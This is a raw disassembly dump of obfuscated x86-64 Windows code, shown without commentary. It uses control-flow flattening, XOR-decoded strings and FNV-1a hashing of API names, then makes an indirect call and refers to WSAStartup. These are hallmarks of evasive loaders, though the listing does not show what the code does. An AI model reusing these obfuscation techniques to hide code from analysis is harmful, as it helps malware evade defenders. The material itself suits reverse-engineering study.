lea rdi, [rbp + 0x730]
mov qword [rbp + 0x8b0], rdi
mov rax, qword [rbp + 0x8b0]
mov byte [rax], 0x69
mov rax, qword [rbp + 0x8b0]
mov ecx, 0x6c91df18
nop dword [rax]
cmp ecx, 0x7bb97f83
je 0x18007d22f
cmp ecx, 0x6c91df18
jne 0x18007d1c0
mov qword [rbp + 0x8c8], rdi
mov ecx, 0xb7df01f9
nop dword [rax]
cmp ecx, 0x5cafb9e1
je 0x18007d209
cmp ecx, 0xb7df01f9
jne 0x18007d1e0
mov rcx, qword [rbp + 0x8c8]
movsx rcx, byte [rcx]
mov qword [rbp + 0x8d0], rcx
mov ecx, 0x5cafb9e1
jmp 0x18007d1e0
mov rcx, qword [rbp + 0x8d0]
xor cl, 0x57
mov byte [rbp + 0x8b8], cl
mov ecx, 0x7bb97f83
jmp 0x18007d1c0
mov dword [rbp + 0x880], 0
jmp 0x18008295b
mov cl, byte [rbp + 0x8b8]
mov byte [rax + 1], cl
mov ecx, 0x6c91df18
nop dword [rax]
cmp ecx, 0x7bb97f83
je 0x18007d2a4
cmp ecx, 0x6c91df18
jne 0x18007d240
mov qword [rbp + 0x8c8], rdi
mov ecx, 0xb7df01f9
nop dword [rax]
cmp ecx, 0x5cafb9e1
je 0x18007d28d
cmp ecx, 0xb7df01f9
jne 0x18007d260
mov rcx, qword [rbp + 0x8c8]
movsx rcx, byte [rcx]
add rcx, 1
mov qword [rbp + 0x8d0], rcx
mov ecx, 0x5cafb9e1
jmp 0x18007d260
mov rcx, qword [rbp + 0x8d0]
xor cl, 0x69
mov byte [rbp + 0x8b8], cl
mov ecx, 0x7bb97f83
jmp 0x18007d240
mov cl, byte [rbp + 0x8b8]
mov byte [rax + 2], cl
add rax, 3
mov qword [rbp + 0x888], rax
mov edx, 0x131a36f9
mov eax, 0xd9989ea9
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xd9989ea8
jg 0x18007d310
cmp edx, 0x99c60800
je 0x18007d394
cmp edx, 0xaa538d55
jne 0x18007d2d0
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0x8b8]
mov edx, 0xaa538d55
cmove edx, eax
jmp 0x18007d2d0
cmp edx, 0xd9989ea9
je 0x18007db49
cmp edx, 0x131a36f9
jne 0x18007d2d0
mov edx, 0x6c91df18
nop dword [rax]
cmp edx, 0x7bb97f83
je 0x18007d403
cmp edx, 0x6c91df18
jne 0x18007d330
mov qword [rbp + 0x8c8], rdi
mov edx, 0xb7df01f9
cmp edx, 0x5cafb9e1
je 0x18007d37d
cmp edx, 0xb7df01f9
jne 0x18007d350
mov rdx, qword [rbp + 0x8c8]
movsx rdx, byte [rdx]
add rdx, 2
mov qword [rbp + 0x8d0], rdx
mov edx, 0x5cafb9e1
jmp 0x18007d350
mov rdx, qword [rbp + 0x8d0]
xor dl, 0x6e
mov byte [rbp + 0x8a8], dl
mov edx, 0x7bb97f83
jmp 0x18007d330
mov cl, byte [rbp + 0x8a4]
mov edx, 0x6c91df18
nop
cmp edx, 0x7bb97f83
je 0x18007d484
cmp edx, 0x6c91df18
jne 0x18007d3a0
mov qword [rbp + 0x8c8], rdi
mov edx, 0xb7df01f9
cmp edx, 0x5cafb9e1
je 0x18007d3ed
cmp edx, 0xb7df01f9
jne 0x18007d3c0
mov rdx, qword [rbp + 0x8c8]
movsx rdx, byte [rdx]
add rdx, 0xc
mov qword [rbp + 0x8d0], rdx
mov edx, 0x5cafb9e1
jmp 0x18007d3c0
mov rdx, qword [rbp + 0x8d0]
xor dl, cl
mov byte [rbp + 0x8a8], dl
mov edx, 0x7bb97f83
jmp 0x18007d3a0
mov dl, byte [rbp + 0x8a8]
mov rbx, qword [rbp + 0x888]
mov byte [rbx], dl
mov rdx, qword [rbp + 0x888]
mov ebx, 0x6c91df18
nop
cmp ebx, 0x7bb97f83
je 0x18007d504
cmp ebx, 0x6c91df18
jne 0x18007d420
mov qword [rbp + 0x8c8], rdi
mov ebx, 0xb7df01f9
cmp ebx, 0x5cafb9e1
je 0x18007d46d
cmp ebx, 0xb7df01f9
jne 0x18007d440
mov rbx, qword [rbp + 0x8c8]
movsx rbx, byte [rbx]
add rbx, 3
mov qword [rbp + 0x8d0], rbx
mov ebx, 0x5cafb9e1
jmp 0x18007d440
mov rbx, qword [rbp + 0x8d0]
xor bl, 0x48
mov byte [rbp + 0x8a8], bl
mov ebx, 0x7bb97f83
jmp 0x18007d420
mov cl, byte [rbp + 0x8a8]
mov rdx, qword [rbp + 0x898]
mov byte [rdx], cl
mov rcx, qword [rbp + 0x898]
mov edx, 0x6c91df18
nop
cmp edx, 0x7bb97f83
je 0x18007d584
cmp edx, 0x6c91df18
jne 0x18007d4a0
mov qword [rbp + 0x8c8], rdi
mov edx, 0xb7df01f9
cmp edx, 0x5cafb9e1
je 0x18007d4ed
cmp edx, 0xb7df01f9
jne 0x18007d4c0
mov rdx, qword [rbp + 0x8c8]
movsx rdx, byte [rdx]
add rdx, 0xd
mov qword [rbp + 0x8d0], rdx
mov edx, 0x5cafb9e1
jmp 0x18007d4c0
mov rdx, qword [rbp + 0x8d0]
xor dl, 0x71
mov byte [rbp + 0x8a8], dl
mov edx, 0x7bb97f83
jmp 0x18007d4a0
mov bl, byte [rbp + 0x8a8]
mov byte [rdx + 1], bl
mov ebx, 0x6c91df18
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x7bb97f83
je 0x18007d604
cmp ebx, 0x6c91df18
jne 0x18007d520
mov qword [rbp + 0x8c8], rdi
mov ebx, 0xb7df01f9
cmp ebx, 0x5cafb9e1
je 0x18007d56d
cmp ebx, 0xb7df01f9
jne 0x18007d540
mov rbx, qword [rbp + 0x8c8]
movsx rbx, byte [rbx]
add rbx, 4
mov qword [rbp + 0x8d0], rbx
mov ebx, 0x5cafb9e1
jmp 0x18007d540
mov rbx, qword [rbp + 0x8d0]
xor bl, 0x74
mov byte [rbp + 0x8a8], bl
mov ebx, 0x7bb97f83
jmp 0x18007d520
mov dl, byte [rbp + 0x8a8]
mov byte [rcx + 1], dl
mov edx, 0x6c91df18
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x7bb97f83
je 0x18007d684
cmp edx, 0x6c91df18
jne 0x18007d5a0
mov qword [rbp + 0x8c8], rdi
mov edx, 0xb7df01f9
cmp edx, 0x5cafb9e1
je 0x18007d5ed
cmp edx, 0xb7df01f9
jne 0x18007d5c0
mov rdx, qword [rbp + 0x8c8]
movsx rdx, byte [rdx]
add rdx, 0xe
mov qword [rbp + 0x8d0], rdx
mov edx, 0x5cafb9e1
jmp 0x18007d5c0
mov rdx, qword [rbp + 0x8d0]
xor dl, 0x75
mov byte [rbp + 0x8a8], dl
mov edx, 0x7bb97f83
jmp 0x18007d5a0
mov bl, byte [rbp + 0x8a8]
mov byte [rdx + 2], bl
mov ebx, 0x6c91df18
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x7bb97f83
je 0x18007d704
cmp ebx, 0x6c91df18
jne 0x18007d620
mov qword [rbp + 0x8c8], rdi
mov ebx, 0xb7df01f9
cmp ebx, 0x5cafb9e1
je 0x18007d66d
cmp ebx, 0xb7df01f9
jne 0x18007d640
mov rbx, qword [rbp + 0x8c8]
movsx rbx, byte [rbx]
add rbx, 5
mov qword [rbp + 0x8d0], rbx
mov ebx, 0x5cafb9e1
jmp 0x18007d640
mov rbx, qword [rbp + 0x8d0]
xor bl, 0x74
mov byte [rbp + 0x8a8], bl
mov ebx, 0x7bb97f83
jmp 0x18007d620
mov dl, byte [rbp + 0x8a8]
mov byte [rcx + 2], dl
mov edx, 0x6c91df18
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x7bb97f83
je 0x18007d784
cmp edx, 0x6c91df18
jne 0x18007d6a0
mov qword [rbp + 0x8c8], rdi
mov edx, 0xb7df01f9
cmp edx, 0x5cafb9e1
je 0x18007d6ed
cmp edx, 0xb7df01f9
jne 0x18007d6c0
mov rdx, qword [rbp + 0x8c8]
movsx rdx, byte [rdx]
add rdx, 0xf
mov qword [rbp + 0x8d0], rdx
mov edx, 0x5cafb9e1
jmp 0x18007d6c0
mov rdx, qword [rbp + 0x8d0]
xor dl, 0x65
mov byte [rbp + 0x8a8], dl
mov edx, 0x7bb97f83
jmp 0x18007d6a0
mov bl, byte [rbp + 0x8a8]
mov byte [rdx + 3], bl
mov ebx, 0x6c91df18
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x7bb97f83
je 0x18007d804
cmp ebx, 0x6c91df18
jne 0x18007d720
mov qword [rbp + 0x8c8], rdi
mov ebx, 0xb7df01f9
cmp ebx, 0x5cafb9e1
je 0x18007d76d
cmp ebx, 0xb7df01f9
jne 0x18007d740
mov rbx, qword [rbp + 0x8c8]
movsx rbx, byte [rbx]
add rbx, 6
mov qword [rbp + 0x8d0], rbx
mov ebx, 0x5cafb9e1
jmp 0x18007d740
mov rbx, qword [rbp + 0x8d0]
xor bl, 0x70
mov byte [rbp + 0x8a8], bl
mov ebx, 0x7bb97f83
jmp 0x18007d720
mov dl, byte [rbp + 0x8a8]
mov byte [rcx + 3], dl
mov edx, 0x6c91df18
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x7bb97f83
je 0x18007d884
cmp edx, 0x6c91df18
jne 0x18007d7a0
mov qword [rbp + 0x8c8], rdi
mov edx, 0xb7df01f9
cmp edx, 0x5cafb9e1
je 0x18007d7ed
cmp edx, 0xb7df01f9
jne 0x18007d7c0
mov rdx, qword [rbp + 0x8c8]
movsx rdx, byte [rdx]
add rdx, 0x10
mov qword [rbp + 0x8d0], rdx
mov edx, 0x5cafb9e1
jmp 0x18007d7c0
mov rdx, qword [rbp + 0x8d0]
xor dl, 0x73
mov byte [rbp + 0x8a8], dl
mov edx, 0x7bb97f83
jmp 0x18007d7a0
mov bl, byte [rbp + 0x8a8]
mov byte [rdx + 4], bl
mov ebx, 0x6c91df18
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x7bb97f83
je 0x18007d904
cmp ebx, 0x6c91df18
jne 0x18007d820
mov qword [rbp + 0x8c8], rdi
mov ebx, 0xb7df01f9
cmp ebx, 0x5cafb9e1
je 0x18007d86d
cmp ebx, 0xb7df01f9
jne 0x18007d840
mov rbx, qword [rbp + 0x8c8]
movsx rbx, byte [rbx]
add rbx, 7
mov qword [rbp + 0x8d0], rbx
mov ebx, 0x5cafb9e1
jmp 0x18007d840
mov rbx, qword [rbp + 0x8d0]
xor bl, 0x4f
mov byte [rbp + 0x8a8], bl
mov ebx, 0x7bb97f83
jmp 0x18007d820
mov dl, byte [rbp + 0x8a8]
mov byte [rcx + 4], dl
mov edx, 0x6c91df18
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x7bb97f83
je 0x18007d984
cmp edx, 0x6c91df18
jne 0x18007d8a0
mov qword [rbp + 0x8c8], rdi
mov edx, 0xb7df01f9
cmp edx, 0x5cafb9e1
je 0x18007d8ed
cmp edx, 0xb7df01f9
jne 0x18007d8c0
mov rdx, qword [rbp + 0x8c8]
movsx rdx, byte [rdx]
add rdx, 0x11
mov qword [rbp + 0x8d0], rdx
mov edx, 0x5cafb9e1
jmp 0x18007d8c0
mov rdx, qword [rbp + 0x8d0]
xor dl, 0x74
mov byte [rbp + 0x8a8], dl
mov edx, 0x7bb97f83
jmp 0x18007d8a0
mov bl, byte [rbp + 0x8a8]
mov byte [rdx + 5], bl
mov ebx, 0x6c91df18
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x7bb97f83
je 0x18007d9ad
cmp ebx, 0x6c91df18
jne 0x18007d920
mov qword [rbp + 0x8c8], rdi
mov ebx, 0xb7df01f9
cmp ebx, 0x5cafb9e1
je 0x18007d96d
cmp ebx, 0xb7df01f9
jne 0x18007d940
mov rbx, qword [rbp + 0x8c8]
movsx rbx, byte [rbx]
add rbx, 8
mov qword [rbp + 0x8d0], rbx
mov ebx, 0x5cafb9e1
jmp 0x18007d940
mov rbx, qword [rbp + 0x8d0]
xor bl, 0x70
mov byte [rbp + 0x8a8], bl
mov ebx, 0x7bb97f83
jmp 0x18007d920
mov dl, byte [rbp + 0x8a8]
mov byte [rcx + 5], dl
add rcx, 6
mov rdx, qword [rbp + 0x8b0]
add rdx, 0x14
mov qword [rbp + 0x8b8], rdx
mov edx, 0xaa538d55
jmp 0x18007d2d0
mov bl, byte [rbp + 0x8a8]
mov byte [rdx + 6], bl
mov ebx, 0x6c91df18
nop dword [rax + rax]
cmp ebx, 0x7bb97f83
je 0x18007da24
cmp ebx, 0x6c91df18
jne 0x18007d9c0
mov qword [rbp + 0x8c8], rdi
mov ebx, 0xb7df01f9
nop dword [rax]
cmp ebx, 0x5cafb9e1
je 0x18007da0d
cmp ebx, 0xb7df01f9
jne 0x18007d9e0
mov rbx, qword [rbp + 0x8c8]
movsx rbx, byte [rbx]
add rbx, 9
mov qword [rbp + 0x8d0], rbx
mov ebx, 0x5cafb9e1
jmp 0x18007d9e0
mov rbx, qword [rbp + 0x8d0]
xor bl, 0x65
mov byte [rbp + 0x8a8], bl
mov ebx, 0x7bb97f83
jmp 0x18007d9c0
mov bl, byte [rbp + 0x8a8]
mov byte [rdx + 7], bl
mov ebx, 0x6c91df18
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x7bb97f83
je 0x18007daa4
cmp ebx, 0x6c91df18
jne 0x18007da40
mov qword [rbp + 0x8c8], rdi
mov ebx, 0xb7df01f9
nop dword [rax]
cmp ebx, 0x5cafb9e1
je 0x18007da8d
cmp ebx, 0xb7df01f9
jne 0x18007da60
mov rbx, qword [rbp + 0x8c8]
movsx rbx, byte [rbx]
add rbx, 0xa
mov qword [rbp + 0x8d0], rbx
mov ebx, 0x5cafb9e1
jmp 0x18007da60
mov rbx, qword [rbp + 0x8d0]
xor bl, 0x6e
mov byte [rbp + 0x8a8], bl
mov ebx, 0x7bb97f83
jmp 0x18007da40
mov bl, byte [rbp + 0x8a8]
mov byte [rdx + 8], bl
mov ebx, 0x6c91df18
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x7bb97f83
je 0x18007db24
cmp ebx, 0x6c91df18
jne 0x18007dac0
mov qword [rbp + 0x8c8], rdi
mov ebx, 0xb7df01f9
nop dword [rax]
cmp ebx, 0x5cafb9e1
je 0x18007db0d
cmp ebx, 0xb7df01f9
jne 0x18007dae0
mov rbx, qword [rbp + 0x8c8]
movsx rbx, byte [rbx]
add rbx, 0xb
mov qword [rbp + 0x8d0], rbx
mov ebx, 0x5cafb9e1
jmp 0x18007dae0
mov rbx, qword [rbp + 0x8d0]
xor bl, 0x52
mov byte [rbp + 0x8a8], bl
mov ebx, 0x7bb97f83
jmp 0x18007dac0
mov bl, byte [rbp + 0x8a8]
mov byte [rdx + 9], bl
add rdx, 0xa
mov qword [rbp + 0x898], rdx
mov byte [rbp + 0x8a4], 0x65
mov edx, 0x99c60800
jmp 0x18007d2d0
lea rcx, [rbp + 0x730]
call fcn.180084600
mov r15d, 0x676f3d91
movabs r10, 0xcbf29ce484222325
mov r8d, 0xd12f0328
mov r9d, 0xd1da1d7e
mov r11d, 0x454da8a0
mov r14d, 0x7090fb3e
mov r12d, 0x9a007ce3
jmp 0x18007dbb0
movsxd rdi, r13d
xor rdi, qword [rbp + 0x8d0]
movabs rdx, 0x100000001b3
imul rdi, rdx
mov esi, dword [rbp + 0x8b8]
add esi, 1
mov r15d, 0xac5b234
nop dword [rax]
cmp r15d, 0xf65328f1
jg 0x18007dc10
cmp r15d, 0xc212bd2a
jle 0x18007dc60
cmp r15d, 0xd94e5920
jg 0x18007dcef
cmp r15d, 0xc212bd2b
je 0x18007ddd8
cmp r15d, 0xd12f0328
je 0x18007dde3
cmp r15d, 0xd1da1d7e
jne 0x18007dbb0
mov edx, dword [rbp + 0x8a4]
cmp edx, 0x7f
setl byte [rbp + 0x897]
mov r15d, 0x1ee519d6
jmp 0x18007dbb0
cmp r15d, 0x32830d68
jg 0x18007dcb0
cmp r15d, 0x1ee519d5
jle 0x18007dd2c
cmp r15d, 0x1ee519d6
je 0x18007ddfd
cmp r15d, 0x23144f16
je 0x18007de13
cmp r15d, 0x266919b2
jne 0x18007dbb0
mov r15d, 0xde45267d
jmp 0x18007dbb0
cmp r15d, 0xa971a22b
jle 0x18007dd70
cmp r15d, 0xa971a22c
je 0x18007de25
cmp r15d, 0xaa53857a
je 0x18007de32
cmp r15d, 0xae198c88
jne 0x18007dbb0
mov r15d, 0xac5b234
xor esi, esi
mov rdi, r10
jmp 0x18007dbb0
cmp r15d, 0x5eec1115
jle 0x18007dda6
cmp r15d, 0x5eec1116
je 0x18007de3d
cmp r15d, 0x7090fb3e
je 0x18007de62
cmp r15d, 0x676f3d91
jne 0x18007dbb0
mov r15d, 0xa971a22c
jmp 0x18007dbb0
cmp r15d, 0xd94e5921
je 0x18007db85
cmp r15d, 0xde45267d
je 0x18007de7c
cmp r15d, 0xe4465726
jne 0x18007dbb0
cmp byte [rbp + 0x890], 0
mov r15d, 0x32830d69
cmovne r15d, r8d
jmp 0x18007dbb0
cmp r15d, 0xf65328f2
je 0x18007de8d
cmp r15d, 0xac5b234
jne 0x18007dee8
mov dword [rbp + 0x8b8], esi
mov qword [rbp + 0x8d0], rdi
mov edx, dword [rbp + 0x898]
mov ebx, dword [rbp + 0x8b8]
cmp ebx, edx
mov r15d, 0x6d3d8b8
cmovb r15d, r11d
jmp 0x18007dbb0
cmp r15d, 0x9a007ce3
je 0x18007debb
cmp r15d, 0x9a8ae9d1
jne 0x18007dbb0
mov rdx, qword [rbp + 0x8c8]
movzx edx, byte [rax + rdx]
mov byte [rbp + 0x8c7], dl
mov r15d, 0x5eec1116
jmp 0x18007dbb0
cmp r15d, 0x32830d69
je 0x18007ded6
cmp r15d, 0x454da8a0
jne 0x18007dbb0
mov edx, dword [rbp + 0x8b8]
mov qword [rbp + 0x8c8], rdx
mov r15d, 0x9a8ae9d1
jmp 0x18007dbb0
mov r15d, 0xae198c88
jmp 0x18007dbb0
mov edx, dword [rbp + 0x8b0]
or edx, 0x20
mov dword [rbp + 0x888], edx
mov r15d, 0x23144f16
jmp 0x18007dbb0
cmp byte [rbp + 0x897], 0
mov r15d, 0xaa53857a
cmovne r15d, r14d
jmp 0x18007dbb0
mov r15d, 0xd94e5921
mov r13d, dword [rbp + 0x888]
jmp 0x18007dbb0
mov r15d, 0xf65328f2
xor ecx, ecx
jmp 0x18007dbb0
mov r15d, 0xc212bd2b
jmp 0x18007dbb0
movsx edx, byte [rbp + 0x8c7]
mov dword [rbp + 0x8b0], edx
mov edx, dword [rbp + 0x8b0]
cmp edx, 0x40
mov r15d, 0x32830d69
cmovg r15d, r12d
jmp 0x18007dbb0
mov edx, dword [rbp + 0x898]
add edx, 1
mov dword [rbp + 0x8a8], edx
mov r15d, 0x266919b2
jmp 0x18007dbb0
mov r15d, 0xf65328f2
mov ecx, dword [rbp + 0x8a8]
jmp 0x18007dbb0
mov dword [rbp + 0x898], ecx
mov edx, dword [rbp + 0x898]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0x8a4], edx
mov edx, dword [rbp + 0x8a4]
cmp edx, 0x1f
mov r15d, 0xaa53857a
cmovg r15d, r9d
jmp 0x18007dbb0
mov edx, dword [rbp + 0x8b0]
cmp edx, 0x5b
setl byte [rbp + 0x890]
mov r15d, 0xe4465726
jmp 0x18007dbb0
mov r15d, 0xd94e5921
mov r13d, dword [rbp + 0x8b0]
jmp 0x18007dbb0
cmp r15d, 0x6d3d8b8
jne 0x18007dbb0
mov rcx, qword [rbp + 0x8d0]
call fcn.1800ae820
lea r13, [rbp + 0x730]
lea r15, [rbp + 0x730]
mov r14d, dword [rbp + 0x830]
mov ecx, 0xf7458f0
nop dword [rax + rax]
cmp ecx, 0x32de0815
je 0x18007df77
cmp ecx, 0xf7458f0
jne 0x18007df20
mov ecx, 0xa823f7c9
nop word cs:[rax + rax]
nop
cmp ecx, 0x8d53026b
je 0x18007df60
cmp ecx, 0xa823f7c9
jne 0x18007df40
mov word [rbp + 0x8c8], 2
mov ecx, 0x8d53026b
jmp 0x18007df40
movzx ecx, word [rbp + 0x8c8]
add ecx, 0x50
mov dword [rbp + 0x8d0], ecx
mov ecx, 0x32de0815
jmp 0x18007df20
mov ecx, dword [rbp + 0x8d0]
mov word [rbp + 0x8d0], cx
lea rcx, [rbp + 0x8d2]
mov qword [rbp + 0x898], rcx
lea rcx, [0x1800dfc02]
mov qword [rbp + 0x8b8], rcx
mov ecx, 0x7f6a41ed
nop word cs:[rax + rax]
nop
cmp ecx, 0x23030fb1
je 0x18007e062
cmp ecx, 0x7f6a41ed
jne 0x18007dfb0
mov rcx, qword [rbp + 0x8b8]
movzx ecx, word [rcx]
mov edx, 0xf7458f0
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x32de0815
je 0x18007e036
cmp edx, 0xf7458f0
jne 0x18007dfe0
mov edx, 0xa823f7c9
nop word cs:[rax + rax]
nop
cmp edx, 0x8d53026b
je 0x18007e020
cmp edx, 0xa823f7c9
jne 0x18007e000
mov word [rbp + 0x8b0], 2
mov edx, 0x8d53026b
jmp 0x18007e000
movzx edx, word [rbp + 0x8b0]
add edx, ecx
mov dword [rbp + 0x888], edx
mov edx, 0x32de0815
jmp 0x18007dfe0
mov ecx, dword [rbp + 0x888]
mov rdx, qword [rbp + 0x898]
mov word [rdx], cx
mov rcx, qword [rbp + 0x898]
add rcx, 2
mov qword [rbp + 0x8c8], rcx
mov ecx, 0x23030fb1
jmp 0x18007dfb0
mov ecx, 0xf7458f0
nop word [rax + rax]
cmp ecx, 0x32de0815
je 0x18007e0c7
cmp ecx, 0xf7458f0
jne 0x18007e070
mov ecx, 0xa823f7c9
nop word cs:[rax + rax]
nop
cmp ecx, 0x8d53026b
je 0x18007e0b0
cmp ecx, 0xa823f7c9
jne 0x18007e090
mov word [rbp + 0x8b0], 2
mov ecx, 0x8d53026b
jmp 0x18007e090
movzx ecx, word [rbp + 0x8b0]
add ecx, 0x53
mov dword [rbp + 0x888], ecx
mov ecx, 0x32de0815
jmp 0x18007e070
mov ecx, dword [rbp + 0x888]
mov rdx, qword [rbp + 0x8c8]
mov word [rdx], cx
mov rcx, qword [rbp + 0x8c8]
mov edx, 0xf7458f0
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x32de0815
je 0x18007e147
cmp edx, 0xf7458f0
jne 0x18007e0f0
mov edx, 0xa823f7c9
nop word cs:[rax + rax]
nop
cmp edx, 0x8d53026b
je 0x18007e130
cmp edx, 0xa823f7c9
jne 0x18007e110
mov word [rbp + 0x8b0], 2
mov edx, 0x8d53026b
jmp 0x18007e110
movzx edx, word [rbp + 0x8b0]
add edx, 0x54
mov dword [rbp + 0x888], edx
mov edx, 0x32de0815
jmp 0x18007e0f0
mov edx, dword [rbp + 0x888]
mov word [rcx + 2], dx
mov word [rcx + 4], 0
mov esi, 0xc25794e0
mov r8d, 0xeb1f82fc
lea rdx, [rbp + 0x8d0]
jmp 0x18007e180
mov esi, 0xc099391e
mov rbx, qword [rbp + 0x8b8]
nop word [rax + rax]
cmp esi, 0x18ea954e
jg 0x18007e1d0
cmp esi, 0xc25794df
jg 0x18007e200
cmp esi, 0xa2265b6f
je 0x18007e16b
cmp esi, 0xc099391e
jne 0x18007e32f
mov qword [rbp + 0x8c8], rbx
mov rdi, qword [rbp + 0x8c8]
cmp rdi, 4
mov esi, 0x45c65962
cmovb esi, r8d
jmp 0x18007e180
cmp esi, 0x45c65961
jg 0x18007e250
cmp esi, 0x18ea954f
je 0x18007e280
cmp esi, 0x230b0e00
jne 0x18007e180
mov esi, 0xc099391e
xor ebx, ebx
jmp 0x18007e180
cmp esi, 0xc25794e0
je 0x18007e2e8
cmp esi, 0xeb1f82fc
jne 0x18007e180
mov rdi, qword [rbp + 0x8c8]
lea rdi, [rdi*2 + 0x8d0]
add rdi, rbp
mov qword [rbp + 0x898], rdi
mov rdi, qword [rbp + 0x898]
movzx edi, word [rdi]
mov word [rbp + 0x890], di
mov esi, 0x18ea954f
jmp 0x18007e180
cmp esi, 0x45c65962
je 0x18007e2f2
cmp esi, 0x7e03d89a
jne 0x18007e180
mov rdi, qword [rbp + 0x8b0]
mov qword [rbp + 0x888], rdi
mov esi, 0x9ccf28f6
jmp 0x18007e180
movzx ecx, word [rbp + 0x890]
mov edi, 0xaeb18d72
nop dword [rax]
cmp edi, 0x320cd736
je 0x18007e303
cmp edi, 0xaeb18d72
jne 0x18007e290
mov edi, 0xa823f7c9
nop word cs:[rax + rax]
nop
cmp edi, 0x8d53026b
je 0x18007e2d0
cmp edi, 0xa823f7c9
jne 0x18007e2b0
mov word [rbp + 0x8a4], 2
mov edi, 0x8d53026b
jmp 0x18007e2b0
movzx edi, word [rbp + 0x8a4]
mov esi, ecx
sub esi, edi
mov dword [rbp + 0x8a8], esi
mov edi, 0x320cd736
jmp 0x18007e290
mov esi, 0x230b0e00
jmp 0x18007e180
mov qword [rbp + 0x8b0], rdx
mov esi, 0x7e03d89a
jmp 0x18007e180
mov ecx, dword [rbp + 0x8a8]
mov rdi, qword [rbp + 0x898]
mov word [rdi], cx
mov rcx, qword [rbp + 0x8c8]
add rcx, 1
mov qword [rbp + 0x8b8], rcx
mov esi, 0xa2265b6f
jmp 0x18007e180
cmp esi, 0x9ccf28f6
jne 0x18007e180
mov rdx, qword [rbp + 0x888]
mov dword [rsp + 0x30], r14d
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
lea r8, [rbp + 0x3e0]
mov rcx, qword [rbp + 0x840]
xor r9d, r9d
call rax
test rax, rax
je 0x18007e411
cmp r14d, 0x800000
mov qword [rbp + 0x868], rax
jne 0x18007f05c
mov dword [rbp + 0x834], 0x3300
mov qword [rbp + 0x8b0], r15
mov rax, qword [rbp + 0x8b0]
mov byte [rax], 0x12
mov rax, qword [rbp + 0x8b0]
mov dword [rbp + 0x8b8], 0x57
mov ecx, 0x8e3ca170
cmp ecx, 0xc5033388
je 0x18007e420
cmp ecx, 0x8e3ca170
jne 0x18007e3b0
mov qword [rbp + 0x8d0], r15
mov ecx, 0x6ce8d087
nop dword [rax]
cmp ecx, 0x392ef9ff
je 0x18007e3f7
cmp ecx, 0x6ce8d087
jne 0x18007e3d0
mov rcx, qword [rbp + 0x8d0]
movzx ecx, byte [rcx]
mov byte [rbp + 0x898], cl
mov ecx, 0x392ef9ff
jmp 0x18007e3d0
movsx ecx, byte [rbp + 0x898]
xor ecx, dword [rbp + 0x8b8]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc5033388
jmp 0x18007e3b0
mov dword [rbp + 0x880], 0
jmp 0x180081cd1
mov ecx, dword [rbp + 0x8c8]
mov byte [rax + 1], cl
mov dword [rbp + 0x8b8], 0x69
mov ecx, 0x8e3ca170
nop dword [rax + rax]
cmp ecx, 0xc5033388
je 0x18007e4a6
cmp ecx, 0x8e3ca170
jne 0x18007e440
mov qword [rbp + 0x8d0], r15
mov ecx, 0x6ce8d087
nop dword [rax]
cmp ecx, 0x392ef9ff
je 0x18007e487
cmp ecx, 0x6ce8d087
jne 0x18007e460
mov rcx, qword [rbp + 0x8d0]
movzx ecx, byte [rcx]
mov byte [rbp + 0x898], cl
mov ecx, 0x392ef9ff
jmp 0x18007e460
mov cl, byte [rbp + 0x898]
add cl, 1
movsx ecx, cl
xor ecx, dword [rbp + 0x8b8]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc5033388
jmp 0x18007e440
mov ecx, dword [rbp + 0x8c8]
mov byte [rax + 2], cl
mov dword [rbp + 0x8b8], WSAStartup
mov ecx, 0x8e3ca170
nop
cmp ecx, 0xc5033388
je 0x18007e526
cmp ecx, 0x8e3ca170
jne 0x18007e4c0
mov qword [rbp + 0x8d0], r15
mov ecx, 0x6ce8d087
nop dword [rax]
cmp ecx, 0x392ef9ff
je 0x18007e507
cmp ecx, 0x6ce8d087
jne 0x18007e4e0
mov rcx, qword [rbp + 0x8d0]
movzx ecx, byte [rcx]
mov byte [rbp + 0x898], cl
mov ecx, 0x392ef9ff
jmp 0x18007e4e0
mov cl, byte [rbp + 0x898]
add cl, 2
movsx ecx, cl
xor ecx, dword [rbp + 0x8b8]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc5033388
jmp 0x18007e4c0
mov ecx, dword [rbp + 0x8c8]
mov byte [rax + 3], cl
mov dword [rbp + 0x8b8], 0x48
mov ecx, 0x8e3ca170
nop
cmp ecx, 0xc5033388
je 0x18007e5a6
cmp ecx, 0x8e3ca170
jne 0x18007e540
mov qword [rbp + 0x8d0], r15
mov ecx, 0x6ce8d087
nop dword [rax]
cmp ecx, 0x392ef9ff
je 0x18007e587
cmp ecx, 0x6ce8d087
jne 0x18007e560
mov rcx, qword [rbp + 0x8d0]
movzx ecx, byte [rcx]
mov byte [rbp + 0x898], cl
mov ecx, 0x392ef9ff
jmp 0x18007e560
mov cl, byte [rbp + 0x898]
add cl, 3
movsx ecx, cl
xor ecx, dword [rbp + 0x8b8]
mov dword [rbp + 0x8c8], ecx
mov ecx, 0xc5033388
jmp 0x18007e540
mov ecx, dword [rbp + 0x8c8]
mov byte [rax + 4], cl
mov dword [rbp + 0x8b8], 0x74
mov ecx, 0x8e3ca170
nop
cmp ecx, 0xc5033388
je 0x18007e626
cmp ecx, 0x8e3ca170
jne 0x18007e5c0
mov qword [rbp + 0x8d0], r15
mov ecx, 0x6ce8d087
nop dword [rax]
cmp ecx, 0x392ef9ff
je 0x18007e607
cmp ecx, 0x6ce8d087
jne 0x18007e5e0
mov rcx, qword [rbp + 0x8d0]
movzx ecx, byte [rcx]
mov byte [rbp + 0x898], cl
mov ecx, 0x392ef9ff
